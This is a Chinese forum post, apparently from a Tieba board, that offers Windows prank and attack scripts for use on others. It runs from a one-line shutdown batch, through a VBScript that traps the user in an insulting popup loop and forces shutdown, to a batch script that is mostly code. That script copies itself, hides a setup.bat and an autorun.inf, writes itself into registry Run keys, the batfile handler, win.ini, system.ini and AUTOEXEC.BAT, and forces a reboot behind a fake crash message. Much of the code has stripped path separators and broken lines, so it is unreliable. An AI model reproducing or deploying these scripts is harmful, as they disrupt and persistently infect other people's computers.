简单的:
shutdown -s
存为.bat

刷屏用的:
本吧精品区有一个我做的叫SpamPro的软件

狠一点了:
set ws = createobject("wscript.shell")
i = 100 '这个可以改
sub dian
do
a = ws.popup("你是猪吗？",1,"还剩" & i & "下",vbyesno)
if a = vbyes then i = i - 1
if a = vbno then i = i + 1
loop until i = 10
end sub
msgbox "等一下！！！！！！！！！",,"stop!!!!!!!"
a = msgbox("你还想点100下吗？",vbyesno,"问题：")
if a = vbyes then
i = i + 100
dian
elseif a = vbno then
msgbox "那就把剩下的点完吧~"
dian
else
i = i + 100
dian
end if
ws.popup "既然点完了，就给你点奖励吧！",3
ws.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 50
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"
把上面的代码存为.vbs
直接打开即可

echo shutdown -r -t 10 -f -c windows has crashed please insert reboot media
!^.^ >>d:setup.bat
echo copy d:setup.bat c:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动
a.bat >>d:setup.bat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>d:setup.bat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>d:setup.bat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>d:setup.bat
HKEY_CLASSES_ROOTbatfileshellopencommand /v setup.bat /t REG_SZ /d d:setup.bat /f
>>d:setup.bat
echo [windows] >> %windir%win.ini
echo run=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini
echo load=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini
echo >> %windir%system.ini
echo shell=explorer.exe setup.bat C:AUTOEXEC.BAT >> %windir%system.ini
echo [AutoRun] >d:autorun.inf
echo Open=setup.bat >>d:autorun.inf
echo Open=system.bat >>d:autorun.inf
attrib d:autorun.inf +r +s +h >>d:setup.bat
attrib d:setup.bat +r +s +h >>d:setup.bat
start d:setup.bat /min >nul
echo @echo off >>C:AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXEC.BAT /t REG_SZ /d
C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXEC.BAT /t REG_SZ /d
C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>C:AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>C:AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
setup.bat /t REG_SZ /d d:setup.bat
/f >>C:AUTOEXEC.BAT
echo if not d:setup.bat start %windir%system32cmd.bat /min >>C:AUTOEXEC.BAT
copy %0 %systemroot%windows.bat >nul
if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32
/explorer.bat
if not exist C:AUTOEXEC.BAT start %windir%system32cmd.bat /min >>%
windir%/system32/explorer.bat
if not exist %windir%system32cmd.bat start %systemroot%windows.bat /min >>%


上面三楼是在一起的